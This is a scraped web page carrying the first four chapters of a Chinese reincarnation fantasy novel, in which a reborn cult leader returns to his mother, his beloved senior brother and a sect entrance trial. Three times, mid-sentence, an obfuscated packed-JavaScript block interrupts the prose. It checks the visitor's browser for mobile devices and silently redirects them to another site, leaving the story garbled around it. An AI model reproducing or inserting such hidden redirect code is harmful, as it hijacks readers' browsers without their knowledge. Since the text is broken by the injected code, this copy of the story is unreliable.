《万人嫌重生后洗白了》 1. 第 1 章 柳恒清死了。 死在了最辉煌潇洒的二十五岁,死在了万人拥戴的高座上,死在了最忠心耿耿的部下手里。 他这一世欺师灭祖杀人无数,世人敢怒而不敢言,表面尊称其为万仙之首,背地里却以过街老鼠、浊流妖道为暗号多加讽刺辱骂。柳恒清心中明了,却无意与蝼蚁计较。 “掉身份。” 柳恒清如是说。 天下海晏河清了五年,百姓安居乐业了五年,柳恒清辉煌潇洒了五年。 然后,他死了。 没人感到惊讶,即便是他座下的教徒也早就猜到了他早晚要被万箭穿心死无全尸,因为柳恒清造的孽太多了,什么样的死法落在他身上都不稀奇。 天下人津津乐道,仿佛一直盖在头顶的一朵阴云遮了五年终于云破日出。他们沐浴在正道的阳光下,砸了登天宫,屠了九幽教,烧了蓬莱山。 关于柳恒清的一切业障,尘埃落定。 二十五岁,正是本尊最巅峰的时刻,在世人眼中坏得人神共愤,前无古人后无来,死在这时候倒也不错。柳恒清想着,心中略有宽慰。 慢着!本尊不是死了吗?怎么还能想事情…… 柳恒清越想越不对劲,眼前那团散不开的浓雾也逐渐被一片漆黑替代,而这片漆黑后似乎又透着光。他疑惑地动了动眼皮,下一刻竟睁开了眼。 窗外一片大亮,阳光明媚草长莺飞,正是春暖花开的好时节。 柳恒清盯着从窗户伸进来的一朵花苞发呆,还没想明白这一切是怎么回事,就听门口传来一声巨响,整间屋子都跟着晃了晃,紧接着是一阵急促的脚步声,没等柳恒清转过头,耳边“啪”地一声脆响,他的脸上顿时火辣辣地疼。 柳恒清怒而暴起,还没看清人就吼道:“什么人!竟敢对本尊动手!” “本尊?你成天做什么白日梦呢?一进来就看你傻笑着流口水,老娘还以为你脑子坏了呢!” 柳恒清看着眼前这个容貌艳丽但举止粗俗的女人愣住了,半天回不过神,直到女人再一次抄着扫帚劈头盖脸对他一通打过来:“还没睡醒是不是!蓬莱仙山的初选马上开始了,你要是选不上,就回来给我挑粪!” 这下柳恒清彻底醒了,他空手接住即将拍在他面门上的扫帚,随手一扯就把扫帚从女人手里抽了出来。他把扫帚丢到一旁,扑通一声跪下,抱着女人大腿喊道:“娘——孩儿想死你了!” 这下换柳如花呆住了,她几次想从儿子手里把腿拔出来都没能成功,索性揪着他的耳朵骂道:“老娘还没死呢哭什么哭!大清早的发什么疯,赶紧给我去收拾!赶不上初选我削死你!” 柳恒清抹了抹脸,盯着手上的一片湿润愣神,恍惚间有种真实与虚幻交错的错觉。自他练成九幽剑诀后便没再流过一滴泪,即使是最爱的师兄死在面前他也无动于衷,如今脸上这湿润的触感实在是让他陌生又怀念,就好像重生了一般…… 重生? 柳恒清终于收回了思绪站起身来。方才他还在一片虚无混沌中迷茫前行,下一刻就回到了自己家中,而且不是他的登天宫,而是早就被一把火烧干净了的柳林村老家。 他呆呆站了半晌,柳如花在外头等了半天没见儿子出来,又抡着扫帚要来揍他,结果就看到柳恒清眼神迷茫、一动不动地站在原地。 这下柳如花有些担心了:莫不是方才我一巴掌打太狠把我儿打傻了吧? 她赶紧冲过去拉着柳恒清坐下,捧着他的脸左看右看,伸出了三根手指,关切道:“儿啊,认不认得这是几?” 柳恒清有些无语,拉下她的手,道:“娘,我没傻。” “没傻你发什么呆呢!没听见我刚刚跟你说,初选快开始了吗?卯时三刻了!”柳如花尖利的嗓音再次响起。 柳恒清却还是不紧不慢地转过头,看着柳如花,片刻后忽然伸出手在他娘脸上一捏。 温的、软的、有些松弛的。 “啪!” 又是一声脆响。 柳如花骂骂咧咧的声音回荡在耳边,但柳恒清一个字也听不进去了。他状似陶醉地捂着自己被打肿的脸,闭上眼睛享受一般感受那火辣辣的疼痛。 好疼、好爽。这是真的,不是我在做梦,我——柳恒清,九幽教教主,人人得而诛之的魔头,重生了。 “我这是造了什么孽啊!嫁了个短命鬼就算了,好不容易一把屎一把尿把儿子养大,现在儿子又傻了!哎呀我也不活啦!” 柳如花忽然扑在柳恒清身上哭天抢地起来,柳恒清连忙把她扶起来,郑重道:“娘,我没傻也没疯!我只是……睡懵了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438297|169303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳如花愣了片刻,又伸出手指。 “三!”柳恒清不等她问就抢答道。 柳如花松了口气,便又开始催促他:“清醒没?清醒了赶紧收拾收拾去蓬莱仙山啊!” 蓬莱仙山。 再次听到这个名字,柳恒清眼里所有的光在一瞬间黯淡。 “娘,我能不能不去蓬莱仙山?”柳恒清道。 柳如花立时横眉竖目:“你到底在发什么疯?当初一哭二闹三上吊一定要学修仙的人是谁?!老娘这些年为了供你修这修那费了多少银子,你说不去就不去了?信不信我弄死你!” “我不是不修仙了,我只是不想去蓬莱仙山,我……我去昆仑仙山!”柳恒清嬉皮笑脸道。 柳如花根本不吃这套,道:“你飞得再快能在一个时辰内赶到昆仑仙山?修仙的事你娘我是不懂,但我知道仙盟各大派都是今日扩招弟子,你今年已经十五了,明年就没机会进门派学正统修仙路子了,整日吊儿郎当做个散修,我死之前有没有机会从你身上要到回头钱啊?老娘我还指望你给我养老呢。” 听了这话,柳恒清脸上的笑瞬间敛去。上一世他未能给柳如花尽孝,柳如花便葬身在那场大火之中,这曾是他最深的遗憾之一,无论过去多久都难以释怀。他自然是要好好给柳如花尽孝,只是他不知该以怎样的态度去面对蓬莱山上的那些人。 说出来也不怕人笑话,柳恒清真的想逃。可他这一世重生的时节未免也掐得太好了点,除了蓬莱仙山没有一处门派的扩招是他赶得上的,而柳如花也绝不可能放任他做一个散修。 上一世他所有的不幸都是从拜入蓬莱仙山开始的,重来一世,他实在不想重蹈覆辙了。可…… 那里也有柳恒清最想再见的人。 回忆中闪过一抹清瘦如松的身影,柳恒清目光一沉。对蓬莱仙山,他只觉得厌恶,可按照如今的时间推算,那个人如今还过得水深火热。 他阖上眼,良久终于深深吐出一口浊气,站起身来,再睁眼时那股阴郁之色早已荡然无存:本尊乃是天下第一邪教中的第一魔头,还能怕了那群杂碎不成?重来一世,一切尽在本尊掌握之中,过去人为刀俎我为鱼肉,如今,这风水也该转转了。 待我救出那人来,就带着他远走高飞,离那些人远远的,永世不再相见。 2. 第 2 章 柳如花虽是个市井粗俗妇人,但对孩子的事从不含糊,无论柳恒清如何劝说,她都坚决要亲自送他去蓬莱山。 “你是嫌你娘上不了台面,会害你被未来的师兄师弟笑话是不是?” “不是!我娘沉鱼落雁闭月羞花,我嫌弃自己也不能嫌弃您呀。只是这路途遥远,孩儿怕您累着。”柳恒清近乎谄媚道,但其实他的确是不希望柳如花被蓬莱仙山的人看到。 上一世那些人只见过柳如花一面就记住了这个女人,在柳恒清被诬陷杀害掌门后,更是一路找到了柳家村,放了那场火。 即使柳如花现在就站在柳恒清身边,可再次回想起这件事,他的心依旧一阵酸涩抽痛。他垂下头,不自觉将拳头握紧,眼神也变得阴鸷深沉:他必须得想个办法把柳如花弄回家才行。 柳如花则冲他翻了个白眼。她觉得从早上起看自己儿子就哪儿哪儿都不对劲,就像是……换了个人? 思及此,柳如花忽然警觉起来。她虽不懂修仙,但陪了儿子这么多年也耳濡目染了不少,似乎曾听他提过有一个什么术法,能把人变成另一个人…… 柳恒清对亲娘的所思所想浑然不知,不经意对上她严厉审视的目光,不由得一怔:“娘,怎么了?” 柳如花立刻变脸,神色自若道:“没怎么,看你脸肿了。” 柳恒清捂着自己左脸皱眉道:“您也真是的,两回都打同一边,能不肿吗?本来单凭这张英俊潇洒风流倜傥的脸就够我进蓬莱仙山了,如今您这一打,我看悬咯。” “悬你个棒槌!你那个一瓶子不满半瓶子晃荡的师父不是说你根骨奇佳、是个千年一遇的旷世奇才?我就是把你脸挠花了你也能进蓬莱仙山。” “您都说他一瓶子不满半瓶子晃荡了,还信他的话啊?”柳恒清笑道。想起他的瓶子师父,他的心情依旧有些复杂,此时此刻的他大约还在无拘无束地云游四方,完全不知道几年后自己的门派会有一场可怕的腥风血雨。 不过,如今重来一次,柳恒清一定会赶在那些人动手之前,先下手为强,决不让师父晚年还不得安生,也算是尽了他的一点孝心。 柳恒清上辈子短短二十五年,最在乎的人只有三个,一个是他娘,一个是师兄,还有一个就是瓶子师父。 瓶子师父长得瘦瘦巴巴,眼眶凹陷嘴唇干裂,一副饿死鬼的模样,任谁一眼看去也不会觉得他是个世外高人。 柳恒清五岁那年,瓶子师父饿晕在他家后门,他一碗稀粥灌下去,人才悠悠醒转。 瓶子师父醒后,瞪着柳恒清半晌,然后说出了一句全天下骗子的通用话术:“少年,我看你根骨奇佳,是个练武奇才,不如跟着我学……” 他话没说完,柳如花已经扛着扫帚劈头盖脸打来。瓶子师父看着瘦巴,身手还真是不错,柳如花挥舞了半天,愣是一下没打到他,反而自己气得够呛。柳恒清站在一旁看得眼睛都直了,不停地鼓掌叫好。 瓶子师父躲避的间隙还有功夫冲他嘚瑟:“如何?是不是觉得很帅,跟我修仙去吧。” 柳恒清平日里被他娘一柄扫帚打得屁滚尿流,一见这臭老道有这本事立刻点头。 “修你个头!死老头子,我儿见你快死了好心给你口粥喝,你竟想拐了他去练杂耍,赶紧给老娘滚!”柳如花暴躁大吼道。 “此言差矣,”瓶子师父一手抓住扫帚,一手伸出一根手指,高深莫测地摇了摇,道,“贫道刚刚可没有快死了,修仙之人辟谷是常事,哪儿那么容易饿死。贫道不过是云游经过这个村子,昨夜靠着您家后门赏月赏睡着罢了。您的小公子善良,给贫道一碗米粥喝,这其中虽有误会,但贫道也想谢谢他。贫道是个正儿八经的修仙人,过去也是正统门派出身,绝不是搞杂耍的。” “我管你到底是干嘛的,赶紧哪儿来的回哪儿去。我告诉你,我就这么一个儿子,将来他是要给我养老送终的,跟着你……”柳如花十分嫌弃地上下打量了他,“跟着你,他自己都得喝西北风,到时候老娘死了都没人替我收尸。” 瓶子师父忍不住皱皱眉,心道这女人模样娇媚,可惜有些肤浅……他清清嗓子,道:“夫人您恐怕有些误解,贫道虽自称贫道,但和‘贫’可没什么关系。” 他手伸进衣袖里掏了掏,片刻后伸到柳如花面前,掌心摊开,一枚金元宝赫然出现在母子俩眼前。 柳如花顿时两眼放光,但又立刻警觉起来,将柳恒清护在身后,道:“你到底什么人?来做什么?”她虽爱财,但从不信有天上掉馅饼的好事。 瓶子师父高深莫测地笑了笑,捋着长须道:“夫人莫怕,贫道如今不过是个四处游历的散修罢了。贫道与小公子有缘,是真心想收他为徒教他本事的。至于给您养老送终,您放心,小公子本就是个千年难遇的奇才,再经过贫道教诲,他日后必定风光无限。” 柳如花并不信,但柳恒清死缠烂打要学。不管日后能不能风光无限,能躲柳如花的扫帚这一点已经够吸引他了。 柳恒清躺在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438298|169303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上撒泼打滚,瓶子师父在他即将挨打之际给了柳如花一碇银元宝,并说只要柳恒清跟着他学修仙,以后每半年都给柳如花一碇银元宝。 柳如花不是那贪便宜没脑子的人,并不肯要,臭老道也不勉强,但之后每日清晨都会出现在她家后门,带着柳恒清去河边修炼,这一带就是十年。 年初那会儿,师父说他在此停留了太久,打算再去云游四方,至于柳恒清,师父说凭他如今的本事,几大修仙门派任他挑选,想去哪儿就去哪儿。 师父临走前,柳恒清还问了他的名字:“若是日后,门派里的师兄弟觉得我厉害,来问我跟谁学的,我总不能告诉他们是瓶子师父吧?” 瓶子师父一如既往地捋着长须,笑得高深莫测,什么话也没有说。 后来柳恒清才明白,师从何处根本用不着问,招式一出世人便知晓了。 回忆往昔回忆了半晌,柳恒清算算时间他们也快到蓬莱仙山了。 他状似漫不经心地撩起帘子,手里捏了个诀,一道光打在了车夫的肚子上,车夫立时一连崩了好几个响屁,马车的门帘都被吹了起来。 柳如花捂着口鼻翻着白眼:“师傅,你这怎么回事啊?” “哎哟,哎哟……我这肚子,不知怎的,哎哟……突然好疼啊。”车夫疼得五官拧作一团,哪儿还有功夫驾车,连忙拉住缰绳,停在了路边。 母子俩跳下车,柳如花看了眼天,有些着急道:“初选马上就该开始了。” “娘,要不我自己去吧,我御剑一眨眼就到蓬莱仙山了。”柳恒清道。 “不行,到时候那些人看你自己一个人去,该笑话你了。”柳如花道。 柳恒清没有爹,因为这事儿从小没少被欺负,柳如花对此一直耿耿于怀。他轻叹道:“娘,没事的。等拜入师门,大家凭本事说话,我看谁敢笑话我。” 柳如花始终皱着眉。今天是儿子初选,意义重大,她是真想亲自送柳恒清去,但看车夫疼得呲牙咧嘴也实在是放心不下,她纠结许久,终于决定松口让柳恒清自己御剑去得了。 她正要开口,忽闻一道清冽温和的嗓音远远传来:“几位可是遇到了麻烦?” 柳恒清听见这声音,身形猛地一僵。 这个声音他永远也不会忘记。清冽如泉温和如水,曾在柳恒清最孤寂的时候在他耳畔徘徊,为他驱散那些挥之不去的梦魇,可后来,也成了让他日夜难眠的魔音。 这声音,属于那个他日思夜想的人。 3. 第 3 章 柳恒清一顿一顿地转过身去,先见到一抹清瘦如松的身影,再是一张眉眼如画、足以颠倒众生的脸。他眼眸含笑,静立在翠树之间,仿佛一缕清风,轻而易举地漾起旁人心中的涟漪,又如一束晨光,温暖柔和。 一瞬间,无数回忆翻涌而至,柳恒清眼前仿佛闪过走马灯一般出现了一幕幕过去的场景,有眼前人的笑、怒、嗔、悲,以及最后的绝望。 柳恒清僵在了原地,柳如花与车夫见到来人也是一怔,来人则很有分寸地停在不远不近的地方冲他们微微躬身,脸上始终带着温和无害的笑。 “在下蓬莱仙山温戎,略懂一些岐黄之术,或许能帮上几位。”温戎开口,嗓音如春水初融。 想不到,这一次竟会在这里遇到温戎师兄。柳恒清心中又疑又惊又喜,上一世他可是拜入师门后过了一年才得以见到温戎的,当初若是也像现在这般在路上耽搁一会儿,也许他就用不着费那么多功夫才能与师兄结识了。 柳如花率先回过了神,惊喜道:“蓬莱仙山?那不就是儿子你未来的师兄了!” 柳恒清被柳如花拍了一掌,拉回了思绪,讪笑道:“哈哈哈,是啊是啊。” 温戎微微挑眉,看向柳恒清,脸上的笑意更深了几分,柳恒清不禁呼吸微乱。 “那真是太巧了,我此次下山就是来查探是否有弟子们在前往蓬莱仙山的路上遇到麻烦。”温戎道。他走上前来,葱白般修长纤细的手指轻轻搭在车夫手腕上,片刻后眉头微不可察地轻轻一皱。 不好,这种小伎俩肯定骗不过温戎,他一定会发现是我搞得鬼。柳恒清有些不安,抬眼看向温戎,果然对上他那双略带不解的凤眸。柳恒清努力地朝温戎挤眉弄眼,希望他能看懂自己的恳切。 温戎垂眸不语,伸出两指凝出一点微光落在车夫肚子上,车夫的脸色立刻缓和了。 “不打紧,许是受了风寒,回去注意保暖即可。”温戎对车夫说道。 柳恒清闻言,暗暗送了口气。温戎没有揭穿他的把戏,但也没帮着他继续演下去,这倒也符合温戎的性情,他不会让其他人受伤来达到自己目的。 “多谢公子!”车夫连连道谢。 柳如花见状,便知此人是有些真功夫在身上的,又看了眼自己的儿子,有些不安地微微凑近温戎,低声道:“这位仙师,我有一事相求。” 温戎转头看向她,配合着她低声道:“夫人但说无妨。” “是这样的,我儿今早起来看着有些不大对劲儿,就好像换了个人似的,我听说好像有个什么移魂大法还是什么的仙术……” “夺舍。” “啊对对对,就是这个名儿!我担心我儿是被人夺舍了,不知仙师能否看出一二?”柳如花道。 温戎冲柳如花点点头,接着便起身朝柳恒清走去。 柳恒清看着温戎离自己越来越近,不知为何竟向后退了半步。他还是没法一下子接受这个人又重新出现在自己眼前的事实,明明他向自己走来了,明明自己心里也很想靠近,可就像是近乡情怯一般,柳恒清莫名有些害怕,怕这一切是梦,是泡影。 温戎见状微微一愣,但脸上依然笑得很得体:“公子的左脸有些肿,若不处理一下,恐怕会影响到几位师尊对你的初印象。” 柳恒清讷讷地点了点头,由着温戎靠近自己,轻捧着自己的脸端详着。 略有些冰凉的指腹触在自己的脸颊上,柳恒清一时有些恍惚。他看着近在咫尺的温戎,不自觉屏住了呼吸,视线从他光洁的额头一路滑到淡粉的双唇,最后又绕回到那双漂亮的丹凤眼上。 温戎长睫低垂,在眼下扫落一片淡淡的阴影,他的眼角有一颗小小的泪痣,须得凑近了才能瞧见。曾经,柳恒清最喜欢吻这里,仿佛这样就能将温戎眼底的笑意据为己有。 一回想到过往,柳恒清忽觉有些口干舌燥,心都快从嗓子眼里跳出来了。 温戎未觉柳恒清有异,拿出一块冰凉的帕子递给他,又取出一小瓶粉膏,道:“帕子你先敷着,不过恐怕短时间内也很难消肿,等到了山下,你用这瓶粉膏抹一抹,应该看着就不会那么明显了。” “多、多谢师兄……”柳恒清的脸已经红得像熟透的苹果了。 温戎对他笑笑,伸手轻轻拍了两下他的脑袋:“虽然不知道是怎么回事,但你娘似乎有些担心你。” “可能是我要来初选太紧张了,所以让她担心的。”柳恒清道。 温戎颔首道:“不必紧张,量力而行即可。传闻中蓬莱仙山的初选很凶险,但其实师兄们都会暗中保护你们,不会让你们受伤的。” “好,我、我一定会通过初选的,师兄你要等我哦。”柳恒清眼睛亮亮的,坚定地望着温戎。 温戎闻言,微微一怔,旋即粲然一笑:“好,那师兄就在此提前恭喜你了。”他踱步回到柳如花身边,对她轻轻摇了摇头。 柳如花如释重负般地吐了一口气,瞬间恢复了所有的力气,对温戎道:“多谢仙师出手相救。” “夫人不必客气,您叫我若慈就好,我也不过懂些皮毛罢了,仙师这个称呼万万担不起。”温戎道。 “温公子真是谦逊有礼啊,我们家恒清要能有你一半就好了。看你年纪轻轻,恐怕没比恒清大多少,却有这么厉害的本事,将来前途无量啊……”柳如花看着温戎,觉得这孩子哪儿哪儿都好,怎么看怎么顺眼,拉着他的手就不肯放了。 柳恒清无语,见柳如花拉着温戎滔滔不绝地夸赞着,连忙打断道:“哎呀娘,温师兄还得去看看其他人有没有遇到麻烦呢,你别耽误他了。” “啊对对对,温公子你快忙去吧,等日后我们家恒清正式拜入师门了,还请你多多包容啊。要是有空,让恒清带你来家里玩,尝尝伯母的手艺,伯母没别的本事,做菜可好吃了。”柳如话笑得简直合不拢嘴。 温戎眼含笑意,道:“好,有机会我一定去拜访您。不过,这个时辰路上应该不会有什么赶路的人了,我也该回去了,不如恒清与我同行吧?” 柳恒清闻言,不胜惊喜,连忙应道:“那太好了!娘,有师兄陪我一起你总该放心了吧?” 柳如花见此也不再多说,只交代了柳恒清几句要与同门友好相处,便和车夫一起回去了。 二人一同御剑朝蓬莱仙山而去,这段路并不远,但柳恒清却装作不熟练的样子,飞得极慢,温戎只好迁就着他也放缓了速度。 “不好意思啊师兄,我从来没飞这么高过,有些害怕。”柳恒清装出一副柔弱小白花的样子,眨巴着眼睛望着温戎。 温戎脸上露出一抹淡淡的笑,道:“不要紧,赶得上就行,不必着急。” 温戎并不是个话多的人,柳恒清却不希望这难得的独处都在一片寂静中度过,他又问道:“师兄,你方才一路下山,可还有遇到其他散修弟子?” “嗯,遇到了一个。” “是谁呀?”柳恒清是真好奇,上一世的他和温戎可没有这一段初遇。 “岐山程炀。” 一听这名字,柳恒清险些从剑上掉了下去,幸亏温戎眼疾手快扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438299|169303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了他:“你没事吧?” “没、没事……”柳恒清脸色发白。 温戎以为他是吓的,安抚地轻拍着他的背,道:“方才我还以为你是装作御剑不熟练的样子,现在看来是我误会你了。” 柳恒清讪笑一声,道:“我怎么会骗师兄呢。” 温戎笑而不语。 岐山程炀。这个名字柳恒清再熟悉不过了,他曾是柳恒清曾经最忠心的部下,无论柳恒清是个默默无闻的小喽啰还是十恶不赦的大魔头,程炀始终追随着他,而最后,也是程炀亲手结果了他。 柳恒清晃了晃头,想把过去的事情抛之脑后,却根本做不到。上一世程炀陪伴他的时间甚至比温戎还长,他一想到马上就要见到程炀,心中难免五味杂陈:还要像上一世那样对待程炀吗?还是要袖手旁观呢…… 柳恒清心绪不宁,忽然嗅到了一股清冷的雪松香,这才发现温戎的左手不知何时绕过了他的肩膀,正轻轻搭在他的左肩上,就好像半抱着他一样。 这会儿的柳恒清还没长开,比温戎矮了大半个头,模样青涩俊俏,一双漆黑的眼睛大而明亮,随便撒个娇就能惹得旁人心软不已,方才他脸色煞白的样子,一定也激起了温戎的保护欲。 柳恒清心中窃喜,不着痕迹地朝温戎怀里靠了靠,道:“师兄,我有些怕,我连御剑都御不明白……” 温戎果然流露出了柔软的眼神,温声道:“不怕。师兄不是告诉过你,初选时我们都会悄悄陪在你们身边保护你们的。” “师兄也会来保护我吗?”柳恒清忽然眼睛亮晶晶地望着温戎。 温戎被他这满含期待与喜悦的眼神弄得有些不好意思,轻笑道:“嗯,我会暗中看着你们。” “师兄,那如果你出来救我,是不是就算我落选了?” 温戎沉默片刻,轻轻点了点头。 嗐,看来假装受伤哄温戎出来陪我的计划是行不通了。柳恒清不禁有些失望,又开始琢磨着能不能有别的方法让温戎对自己印象深刻。 温戎是芳翳长老的弟子,芳翳长老和他的弟子们都住在千秋山上,轻易不下山,外人若不得允许也不可随意入内。所以,如果柳恒清不能趁现在给温戎留下深刻印象,恐怕等一年后再见面时温戎都要忘记他这个小师弟了。 “御剑时须专注,杂念过多可能又会掉下去哦。”温戎看出他心不在焉,出声提醒道。 “啊,多谢师兄提点。”柳恒清对温戎乖巧一笑。他微微仰头看着这个自己曾经日思夜想的人,只觉得心满意足:不管我到底是如何重生的,只要能再见到温戎,那么不管日后还要面对什么事情,我都不会惧怕。 二人落在蓬莱仙山山脚下的一处茂林。 温戎道:“我就送你到这儿吧,一起过去的话万一被人误会,反而对你不好。” “多谢师兄!”柳恒清心里一阵温暖:果然,温戎师兄永远都是这么温柔体贴。 温戎微微一笑,先走出了林子,柳恒清靠在一棵树下乘了会儿凉,掐着时间来到山脚下。 这里已经汇聚了黑压压一片人,少说有上千。柳恒清签到后在人群中扫了几眼没看见熟悉的人影也就不再寻找,反正待会儿初选开始,大家进入狩猎场,他自然能找到程炀。 人群中不乏一些世家子弟,他们比起那些真正的散修而言,实力强悍不少,因而态度十分傲慢。这些人皆身着华服,腰佩宝剑,举手投足间都是一副高高在上的姿态。 柳恒清没找到程炀,倒是在这些人中发现了另一位故人。 4. 第 4 章 那人穿着一身明黄的绸缎,金银珠宝戴了一身,在阳光下十分耀眼,刚从那辆造型奇特的马车上下来就被一群公子哥众星捧月般簇拥在中间。 “没想到第五公子竟然也来参加蓬莱仙山的初选,有您在,此次初选狩猎怕是用不了多久就该结束了。”一个绿衣马屁精说道。 “可不是,到时候还得请第五公子手下留情,给我们留点小妖兽才是。”另一人立即应和道。 第五朔听了这些恭维话,自是心花怒放:“放心吧,到时候本公子分你们几只都没问题!” “多谢第五公子!” 柳恒清远远看着这出戏,勾唇笑了笑。第五朔实力确实不错,可惜比起柳恒清还是差些天赋,当初只要有柳恒清在,他就是万年老二。 不过这一次,第五朔终于可以实现自己多年的夙愿了。 上一世的柳恒清还不懂得藏拙,在初选时一骑绝尘,惹得不少人眼红,从刚一拜入师门就吃了不少亏。但第五朔和他不同,第五家族是四大世家之一,即使第五朔在蓬莱仙山再耀眼嚣张,也没有人敢动他一根手指。 第五朔啊第五朔,你终于要翻身了,上一世你不情不愿地做我的跟班,这一世就换我来给你提鞋好了。 远处钟声响起,四下的喧哗立即停止。 玄华长老站在高台之上,垂眸看着台下乌泱泱的人群,朗声道:“此次初选将于辰时一刻开始,尔等一同进入狩猎场狩猎妖兽,每只妖兽身上皆嵌有铜钱,修为越高的妖兽身上带有的铜钱越多,四个时辰之内,得到铜钱最多的前一百位,即可拜入我蓬莱派。狩猎场中的妖兽凶恶,我派弟子会隐于暗处保护大家的安全,但各位切记量力而行。狩猎场中如何斩杀妖兽获得铜钱各凭本事,但绝不可出现私斗抢夺的行为,一经发现,即刻逐出狩猎场,再不得参与蓬莱派初选。诸位,皆听明白了吗?” “明白!”数千人同时回应,声音响彻云霄,不断回荡在山间。 时至辰时一刻,狩猎场大门敞开,所有人一窝蜂闯了进去,几乎能感受到大地的震颤。柳恒清原本在后面走得悠哉悠哉,忽然意识到自己得尽可能不引人注目,不可特立独行,于是也跟着身边的人跑了起来。 狩猎场是一片幽谧的森林,柳恒清按照记忆中妖兽较少的路线走去,沿途杀了三只小妖兽,便爬上了一棵树静静等待着程炀的出现。 他算了算时间,估摸着还有一个时辰程炀才会过来,于是半躺在树干上闭目修养。 狩猎场外,碰巧从一面水镜中捕捉到这一幕的掌门微微皱了皱眉:“此人不过抓了三只小妖,竟然就这般松懈。” 芳翳长老道:“确实有些散漫,不过看他毫不紧张的样子,说不定是个高手,只是觉得狩猎场里的小妖太好对付了,因而不屑一顾。” “好对付就能偷懒吗?我看他是根本不重视。”掌门轻哼了一声,不想再看此人,抬手一挥,水镜上的画面恰好换到了第五朔那里。 第五朔正与一只蛇妖搏斗,幽暗的密林被他的剑气分割成一块块黑色的碎片,他无论是招式还是速度都挑不出一点错来,不过半炷香的时间就收下了蛇妖的性命。 第五朔抹掉脸颊上被溅到的一丝血,弯下腰将嵌在蛇妖表皮的三枚铜钱取下,穿在了腰间的金丝线上,那上面已经有九枚铜钱了。 掌门满意地颔首,道:“看看,世家子弟对初选都如此上心,刚刚那个小子当真是目中无人。” 芳翳长老也附和着笑了笑:“掌门师兄说的是。” 在他们不愿多看的画面中,柳恒清依然靠在树上闭目养神。四周无风,却闻林中树叶微动,柳恒清敏锐地捕捉到了这一点不寻常的异动,默不作声地睁开眼。 幽暗的树林里由远及近响起了窸窸窣窣的声音,柳恒清的耳朵动了动,从这微弱的声音中判断出妖兽的位置和距离,伸出二指,以灵力凝出一柄羽箭,“嗖”一声掷入林中。 只听一声短促而凄厉的惊叫从林中传出,柳恒清嘴角微翘,手朝着妖兽所在的方向在虚空中一抓,三枚铜钱从林中飞出,落入他的掌心。 柳恒清看着那三枚铜钱,微微挑眉,心道:虽然我现在这具身体的修为和上一世相差甚远,但处理一只修炼了百年的妖兽依然是轻而易举啊,真不愧是我。 他又睡了许久,林中才终于再次传出动静来。这一次的动静可比上回的猛烈多了,明显是一个人被追得惊慌失措正在四处逃窜。 来了。 柳恒清身轻如燕,踏叶而行,没飞出多远就看见了那个熟悉的身影。 程炀一身粗布衣衫已经被树枝割得破破烂烂,发髻散乱小脸惨白,失声尖叫着在林子里乱跑,手握佩剑胡乱挥舞,狩猎已经进行了一个时辰,他腰间的金丝线上还只有可怜的一枚铜钱。 柳恒清出声提醒道:“如果不想引来更多的妖兽,就把嘴巴闭上。” 程炀听到这突然出现的声音又被吓得惨叫一声,过了片刻才反应过来,两只手捂住自己的嘴,跑得一歪一扭很是滑稽。 柳恒清轻笑一声,轻盈地落在了程炀和妖兽之间。 这是一只漂亮的狐妖,看上去纤细柔弱,但从它周身散发出犹如黑雾般的妖气就能知晓其不寻常。 狐妖停在原地打量了柳恒清片刻,突然张开利爪扑了过来,柳恒清瞬间抽出长剑飞身向前。 程炀躲在了一块大石后面,见柳恒清腰间只有六枚铜钱,不禁担忧:“这位仁兄,我们还是快跑吧,它它它太厉害了!” “躲好了,别出来!”柳恒清只是这么丢下一句话,就全心对付狐妖去了。 程炀欲哭无泪,捂着眼睛不敢看。 剑刃劈砍在狐妖的利爪上,发出刺耳的声响,火花四溅,柳恒清抬脚便踹向狐妖胸口,狐妖后退数步与他拉开了距离,掌心迸出一道紫光朝柳恒清打去。 柳恒清轻哼一声,直接将灵力灌入剑中,紫光触碰到剑尖的一瞬间,柳恒清手腕微动,竟直接将那团紫光挑飞了出去,被击中的一棵参天巨树立刻轰然倒下,随之而来的,是一声清脆的碎裂声。 柳恒清微微一怔,扭头看向自己手中的剑。原本锃亮得能照出人影的剑身此时布满了密密麻麻蛛网一般的裂痕,只要再轻轻一碰就会碎成一地银屑。 恰在此时一道阴风吹过,剑身颤了颤,下一刻,不出意料地,柳恒清手里只剩了一把空荡荡的握柄。 狐妖见状,邪笑两声便再次丢出了一道紫光,柳恒清没了剑只能不停躲闪,在心里不断咒骂着:该死的,早知道不耍帅了,忘记了这柄剑承受不了这样的攻击。 “接着!” 程炀的声音忽然响起,柳恒清在作出思考之前,身体就已 